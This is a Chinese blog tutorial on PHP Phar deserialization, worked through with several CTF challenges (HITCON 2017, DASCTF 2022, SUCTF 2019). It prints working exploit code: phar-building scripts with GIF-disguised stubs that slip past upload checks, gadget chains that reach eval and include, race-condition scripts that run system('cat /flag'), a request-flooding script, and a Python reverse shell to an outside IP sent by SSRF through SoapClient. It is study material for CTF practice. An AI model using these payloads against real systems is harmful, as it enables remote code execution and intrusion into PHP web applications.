Featured image of post Phar反序列化

Phar反序列化

Phar反序列化

phar文件的构成

1.stub :phar文件标识

1
2
3
4
5
<?php
Phar::mapPhar();
include 'phar://phar.phar/index.php';
__HALT_COMPILER();
?>

可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。也就是说如果我们留下这个标志位,构造一个图片或者其他文件,那么可以绕过上传限制,并且被 phar 这函数识别利用。

2. a manifest describing the contents phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

3. the file contents 被压缩文件的内容。

4. [optional] a signature for verifying Phar integrity (phar file format only) 签名,放在文件末尾,格式如下:

image-20250317192737097

我们利用的就是倒数第二行的这个

先要把php.ini里面的phar.randonly设置修改成off

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
    //一个类
    class Test {
    	public $testdata;
    	public function test_it() {
            echo 1;
        }
	}
	//类的实例化对象
    $obj = new Test();
	
	//尝试删除phar.phar文件,防止已经存在的phar.phar文件阻止新的phar文件生成
	@unlink("phar.phar");

	//生成phar时,文件的后缀名必须为phar
    $phar = new Phar("phar.phar"); 
    $phar->startBuffering();
	//设置stub
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
	//将自定义的meta-data存入manifest,这个是利用的重点
    $phar->setMetadata($obj); 
	//添加要压缩的文件,这个文件可以不存在,但这句语句不能少
    $phar->addFromString("test.txt", "test"); 
    //签名自动计算
    $phar->stopBuffering();
?>

就生成了phar.phar

010查看

image-20250317193710465

将其分为四个部分,可以看到序列化的对象放在第二部分

下面这个序列化对象跟直接序列化得出的结果一致

注意到stub部分是可控的

我们就可以利用它绕过文件上传限制,改变文件类型

将phar伪造成其他格式的文件

前面我们刚刚说了,我们可以 phar 文件必须以__HALT_COMPILER();?>来结尾,那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。因此假设这里我们构造一个带有图片文件头部的 phar 文件。

1
2
//设置stub
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');

只有这里要改,此时文件MIME类型会为image/gif

image-20250317194133581

可以用include包含phar://phar.phar

触发反序列化的文件操作函数

有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:

image-20250317200839874

这里通过一个demo论证一下上述结论。仍然以上面的phar文件为例

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
<?php 
    class TestObject {
        public function __destruct() {
            echo $this->data;
            echo 'Destruct called';

        }
    }

    $filename = 'phar://phar.phar/test.txt';
    file_get_contents($filename); 
?>

这里可以看到已经反序列化成功触发__destruct方法并且读取了文件内容。 其他函数也是可以的,就不一一试了, 如果题目限制了,phar://不能出现在头几个字符。可以用Bzip / Gzip协议绕过。

1
$filename = 'compress.zlib://phar://phar.phar/test.txt';

虽然会警告但仍会执行,它同样适用于compress.bzip2://。 当文件系统函数的参数可控时,我们可以在不调用unserialize()的情况下进行反序列化操作,极大的拓展了反序列化攻击面。

其他伪协议配合phar伪协议

php://filter/read

1
php://filter/read=convert.base64-encode/resource=phar://phar.txt

php://filter/resource

1
php://filter/resource=phar://phar.txt/test.txt

compress.zlib://

1
compress.zlib://phar://phar.txt/test.txt

compress.bzip://

要开Bzip / Gzip 扩展

1
compress.bzip://phar://phar.txt/test.txt

compress.bzip2://

1
compress.bzip2://phar://phar.txt/test.txt

利用

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
    //一个类
    class Test {
    	public $testdata = "OK";
    	public function test_it() {
            echo $this->testdata;
        }
        function __destruct()
        {
            echo $this->testdata;
        }
	}
    
    file_exists('phar://phar.phar');
?>

以这个demo为例,我们想要变量覆盖testdata

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
    //一个类
    class Test {
    	public $testdata = "OK";
    	public function test_it() {
            echo $this->testdata;
        }
        function __destruct()
        {
            echo $this->testdata;
        }
	}
	//类的实例化对象
    $obj = new Test();
	//修改可控变量内容
	$obj->testdata = "I need to change 'OK' to 'OoooooooK'";

    //尝试删除phar.phar文件,防止已经存在的phar.phar文件阻止新的phar文件生成
	@unlink("phar.phar");

	//生成phar时,文件的后缀名必须为phar
    $phar = new Phar("phar.phar"); 
    $phar->startBuffering();
	//设置stub
    $phar->setStub("<?php __HALT_COMPILER(); ?>");
	//将自定义的meta-data存入manifest,这个是利用的重点
    $phar->setMetadata($obj); 
	//添加要压缩的文件,这个文件可以不存在,但这句语句不能少
    $phar->addFromString("test.txt", "test"); 
    //签名自动计算
    $phar->stopBuffering();
?>

结果成功覆盖

例题1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
<?php
if(isset($_GET['filename'])){
    $filename=$_GET['filename'];
    class MyClass{
        var $output='echo "hahaha"';
        function __destruct()
        {
            eval($this->output);
        }
    }
    file_exists($filename);
}
else{
    highlight_file(__FILE__);
}

这题可以直接生成phar文件,利用文件上传功能,结合file_exists函数进行phar反序列化

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
// phar.readonly无法通过该语句进行设置: init_set("phar.readonly",0);
class MyClass{
    var $output = '@eval($_GET[_]);';
}

$o = new MyClass();
$filename = 'poc.phar';// 后缀必须为phar,否则程序无法运行
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

生成完改后缀为gif,然后output就被覆盖成木马了

例题2:[HITCON 2017]Baby^h Master PHP

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
<?php
$FLAG = create_function("", 'die(`/read_flag`);');
$SECRET = `/read_secret`;
$SANDBOX = "/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($SANDBOX);
@chdir($SANDBOX);

if (!isset($_COOKIE["session-data"])) {
    $data = serialize(new User($SANDBOX));
    $hmac = hash_hmac("sha1", $data, $SECRET);
    setcookie("session-data", sprintf("%s-----%s", $data, $hmac));
}

class User {
    public $avatar;
    function __construct($path) {
        $this->avatar = $path;
    }
}

class Admin extends User {
    function __destruct() {
        $random = bin2hex(openssl_random_pseudo_bytes(32));
        eval("function my_function_$random() {"
            . "  global \$FLAG; \$FLAG();"
            . "}");
        $_GET["lucky"]();
    }
}
function check_session() {
    global $SECRET;
    $data = $_COOKIE["session-data"];
    list($data, $hmac) = explode("-----", $data, 2);
    if (!isset($data, $hmac) || !is_string($data) || !is_string($hmac)) {
        die("Bye");
    }

    if (!hash_equals(hash_hmac("sha1", $data, $SECRET), $hmac)) {
        die("Bye Bye");
    }

    $data = unserialize($data);
    if (!isset($data->avatar)) {
        die("Bye Bye Bye");
    }

    return $data->avatar;
}

function upload($path) {
    $data = file_get_contents($_GET["url"] . "/avatar.gif");
    if (substr($data, 0, 6) !== "GIF89a") {
        die("Fuck off");
    }

    file_put_contents($path . "/avatar.gif", $data);
    die("Upload OK");
}

function show($path) {
    if (!file_exists($path . "/avatar.gif")) {
        $path = "/var/www/html";
    }

    header("Content-Type: image/gif");
    die(file_get_contents($path . "/avatar.gif"));
}

$mode = $_GET["m"];
if ($mode == "upload") {
    upload(check_session());
} else if ($mode == "show") {
    show(check_session());
} else {
    echo "IP:".$_SERVER["REMOTE_ADDR"];
    echo "Sandbox:"."/var/www/data/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
    highlight_file(__FILE__);
}

这里的admin类有eval函数可以拿flag,但是random变量我们得不到,样也就无法获得 flag,所以我们要通过匿名类的名字来调用 flag 生成函数。

我们看看create_function函数的内核源码( php-src/Zend/zend_builtin_functions.c:1901

image-20250318233324027

可以看到匿名函数的名字类似于 \0lambda_%d ,其中%d为数字,取决于进程中匿名函数的个数,但是我们每访问一次题目,就会生成一个匿名函数,这样匿名函数的名字就不好控制。这里,我们便要引入 apache-prefork 模型

当用户请求过大时,超过 apache 默认设定的阀值时,就会启动新的线程来处理请求,此时在新的线程中,匿名函数的名字又会从1开始递增,这样我们就容易猜测匿名函数的名字了。

Apache-prefork模型

Apache-prefork模型(默认模型)在接受请求后会如何处理,首先Apache会默认生成5个child server去等待用户连接, 默认最高可生成256个child server, 这时候如果用户大量请求, Apache就会在处理完MaxRequestsPerChild个tcp连接后kill掉这个进程,开启一个新进程处理请求(这里猜测Orange大大应该修改了默认的0,因为0为永不kill掉子进程 这样就无法fork出新进程了) 在这个新进程里面匿名函数就会是从1开始的了

然后data变量可控,上面一个data需要secret的值,不然不能通过hash_equals函数的校验

下面一个上传gif的功能且data同样可控,可以打phar反序列化,要求url传入,我们要在vps上面传入一个phar文件,接着用题目的上传功能进行反序列化

POC:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php
class User {
    public $avatar;
    function __construct() {
        $this->avatar = 'avatar.gif';
    }
}
class Admin extends User {}

$o = new Admin();
$filename = 'avatar.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($o);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

上面的类可以简化为

1
2
3
class Admin {
    public $avatar='xxxx';
}

生成后改后缀为gif上传到vps上面

然后传参

1
?m=upload&url=http://47.122.53.248

后面会自动拼接/avatar.gif

接着,我们需要通过大量请求,使 apache 重新开启一个新的线程,下面用脚本发送请求

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import socket
import time
from multiprocessing.dummy import Pool as ThreadPool
try:
    requests.packages.urllib3.disable_warnings()
except:
    pass

def run(i):
    while 1:
        HOST = 'http://f74e1cf5-bfea-43ab-b245-a74909602705.node5.buuoj.cn'
        PORT = 81
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((HOST, PORT))
        s.sendall('GET /avatar.gif HTTP/1.1\nHost: http://f74e1cf5-bfea-43ab-b245-a74909602705.node5.buuoj.cn\nConnection: Keep-Alive\n\n')
        # s.close()
        print ('ok')
        time.sleep(0.5)

i = 8
pool = ThreadPool( i )
result = pool.map_async( run, range(i) ).get(0xffff)

最后再访问

1
?m=upload&url=phar:///var/www/data/1feb13d43096d650c715402976792464/&lucky=%00lambda_1

最后一个参数是因为匿名函数被调用新线程从1开始

这里可能上面的是我host和port有问题

我们直接批量访问上面的这个url也是一样的效果

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
import requests

url = 'http://f74e1cf5-bfea-43ab-b245-a74909602705.node5.buuoj.cn:81/?m=upload&url=phar:///var/www/data/1feb13d43096d650c715402976792464/&lucky=%00lambda_1'

header = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:136.0) Gecko/20100101 Firefox/136.0',
    'Cookie': 'session-data=O%3A4%3A%22User%22%3A1%3A%7Bs%3A6%3A%22avatar%22%3Bs%3A46%3A%22%2Fvar%2Fwww%2Fdata%2F1feb13d43096d650c715402976792464%22%3B%7D-----827f6bcfbfcfb178de59d8468e37c44c8e7be4b1'
}
while True:
    r =requests.get(url,headers=header)
    if 'flag' in r.text:
        print(r.text)

例题3:[DASCTF2022.07赋能赛]Ez to getflag

非预期,直接读/flag就出来了

预期解

抓包看到file.php,由于前面看出来可以任意文件读取,我们直接读file.php

1
2
3
4
5
6
7
8
<?php
    error_reporting(0);
    session_start();
    require_once('class.php');
    $filename = $_GET['f'];
    $show = new Show($filename);
    $show->show();
?>

看到包含了class.php

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
<?php
    class Upload {
        public $f;
        public $fname;
        public $fsize;
        function __construct(){
            $this->f = $_FILES;
        }
        function savefile() {  
            $fname = md5($this->f["file"]["name"]).".png"; 
            if(file_exists('./upload/'.$fname)) { 
                @unlink('./upload/'.$fname);
            }
            move_uploaded_file($this->f["file"]["tmp_name"],"upload/" . $fname); 
            echo "upload success! :D"; 
        } 
        function __toString(){
            $cont = $this->fname;
            $size = $this->fsize;
            echo $cont->$size;
            return 'this_is_upload';
        }
        function uploadfile() { 
            if($this->file_check()) { 
                $this->savefile(); 
            } 
        }
        function file_check() { 
            $allowed_types = array("png");
            $temp = explode(".",$this->f["file"]["name"]);
            $extension = end($temp); 
            if(empty($extension)) { 
                echo "what are you uploaded? :0";
                return false;
            }
            else{ 
                if(in_array($extension,$allowed_types)) {
                    $filter = '/<\?php|php|exec|passthru|popen|proc_open|shell_exec|system|phpinfo|assert|chroot|getcwd|scandir|delete|rmdir|rename|chgrp|chmod|chown|copy|mkdir|file|file_get_contents|fputs|fwrite|dir/i';
                    $f = file_get_contents($this->f["file"]["tmp_name"]);
                    if(preg_match_all($filter,$f)){
                        echo 'what are you doing!! :C';
                        return false;
                    }
                    return true; 
                } 
                else { 
                    echo 'png onlyyy! XP'; 
                    return false; 
                } 
            }
        }
    }
    class Show{
        public $source;
        public function __construct($fname)
        {
            $this->source = $fname;
        }
        public function show()
        {
            if(preg_match('/http|https|file:|php:|gopher|dict|\.\./i',$this->source)) {
                die('illegal fname :P');
            } else {
                echo file_get_contents($this->source);
                $src = "data:jpg;base64,".base64_encode(file_get_contents($this->source));
                echo "<img src={$src} />";
            }
        
        }
        function __get($name)
        {
            $this->ok($name);
        }
        public function __call($name, $arguments)
        {
            if(end($arguments)=='phpinfo'){
                phpinfo();
            }else{
                $this->backdoor(end($arguments));
            }
            return $name;
        }
        public function backdoor($door){
            include($door);
            echo "hacked!!";
        }
        public function __wakeup()
        {
            if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
                die("illegal fname XD");
            }
        }
    }
    class Test{
        public $str;
        public function __construct(){
            $this->str="It's works";
        }
        public function __destruct()
        {
            echo $this->str;
        }
    }
?>

开始构造链子

1
Test::__destruct() --- Upload::__toString() --- Show::__get() --- Show::__call

关于__toString这里

1
2
3
4
5
6
function __toString(){
            $cont = $this->fname;
            $size = $this->fsize;
            echo $cont->$size;
            return 'this_is_upload';
        }

这里$cont->$size意思并不是对象$cont里面的size变量,而是读取对象$cont里面名为$size的变量

这里最终是要触发show类里面的backdoor函数,让它包含我们的命令

所以我们给fname赋值为new show()而fsize就是backdoor函数接收的参数,只要不填show类已有的参数,就会触发__get方法

先填phpinfo测试

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
<?php
class Upload {
    public $fname;
    public $fsize;
    function __toString(){
        $cont = $this->fname;
        $size = $this->fsize;
        echo $cont->$size;
        return 'this_is_upload';
    }

}
class Show{
    function __get($name)
    {
        $this->ok($name);
    }
    public function __call($name, $arguments)
    {
        if(end($arguments)=='phpinfo'){
            phpinfo();
        }else{
            $this->backdoor(end($arguments));
        }
        return $name;
    }
}
class Test{
    public $str;
    public function __destruct()
    {
        echo $this->str;
    }
}
$o=new Test();
$o->str=new Upload();
$o->str->fname=new Show();
$o->str->fsize='phpinfo';
@unlink("phar.phar");
$phar = new Phar("phar.phar");
$phar->startBuffering();
//设置stub
$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
//将自定义的meta-data存入manifest,这个是利用的重点
$phar->setMetadata($o);
//添加要压缩的文件,这个文件可以不存在,但这句语句不能少
$phar->addFromString("test.txt", "test");
//签名自动计算
$phar->stopBuffering();
?>

然后使用gzip压缩phar.phar(这里利用了一个特性:gzip压缩后不影响phar://的利用)

因为Upload类中的file_check方法会对文件内容进行检查,gzip压缩后就可以绕过

当然也可以用文章前面部分提及的compress.bzip://compress.bzip2://,这里没有限制

1
想要利用压缩 phar,需要启用 zlib 和 bzip2 扩展。 此外,想要利用 OpenSSL 签名,需要开启 OpenSSL 扩展才能使用。

直接在linux终端用gzip命令,然后改名为png上传

然后传参

1
/file.php?f=phar://upload/ed54ee58cd01e120e27939fe4a64fa92.png&_=1742392548518

后面这个是phar.png的MD5值

弹出phpinfo界面后,可以直接将exp的fsize改成/flag

官方wp是利用条件竞争打session文件包含

先把上面的exp改为'/tmp/sess_chaaa'

然后脚本条件竞争

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import sys,threading,requests,re
from hashlib import md5

HOST = sys.argv[1]
PORT = sys.argv[2]

flag=''
check=True
# 触发phar文件反序列化去包含session上传进度文件
def include(fileurl,s):
    global check,flag
    while check:
        fname = md5('shell.png'.encode('utf-8')).hexdigest()+'.png'
        params = {
            'f': 'phar://upload/'+fname
        }
        res = s.get(url=fileurl, params=params)
        if "working" in res.text:
            flag = re.findall('upload_progress_working(DASCTF{.+})',res.text)[0]
            check = False

# 利用session.upload.progress写入临时文件
def sess_upload(url,s):
    global check
    while check:
        data={
              'PHP_SESSION_UPLOAD_PROGRESS': "<?php echo 'working',system('cat /flag');?>\"); ?>"
              }
        cookies={
            'PHPSESSID': 'chaaa'
            }
        files={
            'file': ('chaaa.png', b'cha'*300)
            }
        s.post(url=url,data=data,cookies=cookies,files=files)



def exp(ip, port):
    url = "http://"+ip+":"+port+"/"
    fileurl = url+'file.php'
    uploadurl = url+'upload.php'
    
    num = threading.active_count()
    # 上传phar文件
    file = {'file': open('./shell.png', 'rb')}
    ret = requests.post(url=uploadurl, files=file)
    # 文件上传条件竞争获取flag
    event=threading.Event()
    s1 = requests.Session()
    s2 = requests.Session()
    for i in range(1,10):
        threading.Thread(target=sess_upload,args=(uploadurl,s1)).start()
    for i in range(1,10):
        threading.Thread(target=include,args=(fileurl,s2,)).start()
    event.set()
    while threading.active_count() != num:
        pass

if __name__ == '__main__':
    exp(HOST, PORT)
    print(flag)

这里有另一种办法

先上传一个base64编码的php文件

1
2
PD9waHAgc3lzdGVtKCdjYXQgL2ZsYWcnKTs/Pg==
//<?php system('cat /flag');?>

改为1.png,前下的fsize改为

1
php://filter/read=convert.base64-decode/resource=upload/4a47a0db6e60853dedfcfdf08a5ca249.png

然后传参

1
file.php?f=phar://upload/ed54ee58cd01e120e27939fe4a64fa92.png

就拿到flag了

导致phar触发的其他地方(sql)

Postgres

1
2
3
<?php
$pdo = new PDO(sprintf("pgsql:host=%s;dbname=%s;user=%s;password=%s", "127.0.0.1", "test", "root", "root"));
@$pdo->pgsqlCopyFromFile('aa', 'phar://test.phar/aa');

当然,pgsqlCopyToFile和pg_trace同样也是能使用的,只是它们需要开启phar的写功能。

MySQL

LOAD DATA LOCAL INFILE也会触发phar造成反序列化,下面有mysql服务伪造结合phar反序列化的题目

例题:[SUCTF 2019]Upload Labs

buu把admin.php里面的destruct方法的内容改了,但是__destruct方法不用mysql服务伪造就可以执行,就造成非预期,想要预期解只能把源码改为用__wakeup方法,打两次phar反序列化

admin.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
<?php
include 'config.php';

class Ad{

    public $cmd;

    public $clazz;
    public $func1;
    public $func2;
    public $func3;
    public $instance;
    public $arg1;
    public $arg2;
    public $arg3;

    function __construct($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3){

        $this->cmd = $cmd;

        $this->clazz = $clazz;
        $this->func1 = $func1;
        $this->func2 = $func2;
        $this->func3 = $func3;
        $this->arg1 = $arg1;
        $this->arg2 = $arg2;
        $this->arg3 = $arg3;
    }

    function check(){

        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }

    function __destruct(){
        system($this->cmd);
    }
}

if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    if(isset($_POST['admin'])){
        $cmd = $_POST['cmd'];

        $clazz = $_POST['clazz'];
        $func1 = $_POST['func1'];
        $func2 = $_POST['func2'];
        $func3 = $_POST['func3'];
        $arg1 = $_POST['arg1'];
        $arg2 = $_POST['arg2'];
        $arg2 = $_POST['arg3'];
        $admin = new Ad($cmd, $clazz, $func1, $func2, $func3, $arg1, $arg2, $arg3);
        $admin->check();
    }
}
else {
    echo "You r not admin!";
}

class.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
include 'config.php';

class File{

    public $file_name;
    public $type;
    public $func = "Check";

    function __construct($file_name){
        $this->file_name = $file_name;
    }

    function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }
    
    function getMIME(){
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $this->type = finfo_file($finfo, $this->file_name);
        finfo_close($finfo);
    }

    function __toString(){
        return $this->type;
    }

}

class Check{

    public $file_name;

    function __construct($file_name){
        $this->file_name = $file_name;
    }

    function check(){
        $data = file_get_contents($this->file_name);
        if (mb_strpos($data, "<?") !== FALSE) {
            die("&lt;? in contents!");
        }
    }
}

config.php里面libxml_disable_entity_loader(true);不能xxe了

func.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
include 'class.php';

if (isset($_POST["submit"]) && isset($_POST["url"])) {
    if(preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i',$_POST['url'])){
        die("Go away!");
    }else{
        $file_path = $_POST['url'];
        $file = new File($file_path);
        $file->getMIME();
        echo "<p>Your file type is '$file' </p>";
    }
}


?>

index.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
include 'class.php';

$userdir = "upload/" . md5($_SERVER["REMOTE_ADDR"]);
if (!file_exists($userdir)) {
    mkdir($userdir, 0777, true);
}
if (isset($_POST["upload"])) {
    // 允许上传的图片后缀
    $allowedExts = array("gif", "jpeg", "jpg", "png");
    $tmp_name = $_FILES["file"]["tmp_name"];
    $file_name = $_FILES["file"]["name"];
    $temp = explode(".", $file_name);
    $extension = end($temp);
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/png"))
        && ($_FILES["file"]["size"] < 204800)   // 小于 200 kb
        && in_array($extension, $allowedExts)
    ) {
        $c = new Check($tmp_name);
        $c->check();
        if ($_FILES["file"]["error"] > 0) {
            echo "错误:: " . $_FILES["file"]["error"] . "<br>";
            die();
        } else {
            move_uploaded_file($tmp_name, $userdir . "/" . md5($file_name) . "." . $extension);
            echo "文件存储在: " . $userdir . "/" . md5($file_name) . "." . $extension;
        }
    } else {
        echo "非法的文件格式";
    }
    
}

Ad类里面有

1
2
3
if($_SERVER['REMOTE_ADDR'] == '127.0.0.1'){
    if(isset($_POST['admin'])){
        $cmd = $_POST['cmd'];

想到打ssrf

先看上面的check函数逻辑

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
function check(){

        $reflect = new ReflectionClass($this->clazz);
        $this->instance = $reflect->newInstanceArgs();

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func1);
        $reflectionMethod->invoke($this->instance, $this->arg1);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func2);
        $reflectionMethod->invoke($this->instance, $this->arg2);

        $reflectionMethod = new ReflectionMethod($this->clazz, $this->func3);
        $reflectionMethod->invoke($this->instance, $this->arg3);
    }

在这里通过反射来调用类中的方法,调用后大概是这样

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
Class clazz{
    function func1($arg1){
        ...
    }
    function func2($arg2){
        ...
    }
    function func3($arg3){
        ...
    }
}

我们可以寻找一个存在单参数方法的原生类,这里用到了SplDoublyLinkedList::unshift

1
clazz=SplDoublyLinkedList&func1=unshift&func2=unshift&func3=unshift&arg1=1&arg2=2&arg3=3

或者用SplStack类和它的push方法

1
clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=123456

查看func.php,里面调用了getMIME()跟进看到finfo_file函数可以phar反序列化,同时要绕过func.php里面的正则,要用php://filter伪协议

在class.php里面有个__wakeup()在我们上面反序列化后触发

1
2
3
4
5
function __wakeup(){
        $class = new ReflectionClass($this->func);
        $a = $class->newInstanceArgs($this->file_name);
        $a->check();
    }

由于要打ssrf,想到原生类SoapClient,而且下面$a->check();会触发SoapClient内置的__call方法

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
<?php

class File{
    public $file_name;
    public $func="SoapClient";
    public function __construct(){
        $payload='admin=1&cmd=python -c \'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("47.122.53.248",2333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);\'&clazz=SplStack&func1=push&func2=push&func3=push&arg1=123456&arg2=123456&arg3=123456';
        $this->file_name=[null,array('location'=>'http://127.0.0.1/admin.php','user_agent'=>"xxx\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: ".strlen($payload)."\r\n\r\n".$payload,'uri'=>'abc')];
    }
}
$a=new File();
@unlink("1.phar");
$phar=new Phar("1.phar");
$phar->startBuffering();
$phar->setStub('GIF89a'.'<script language="php">__HALT_COMPILER();</script>');
$phar->setMetadata($a);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

改名为1.gif上传,然后在func.php下面传入下面payload触发phar反序列化弹shell

1
php://filter/resource=phar://upload/fc3f8d0d99ccdde85c8cfc624fe94c32/b5e9b4f86ce43ca65bd79c894c4a924c.gif

image-20250320170158752

使用 Hugo 构建
主题 StackJimmy 设计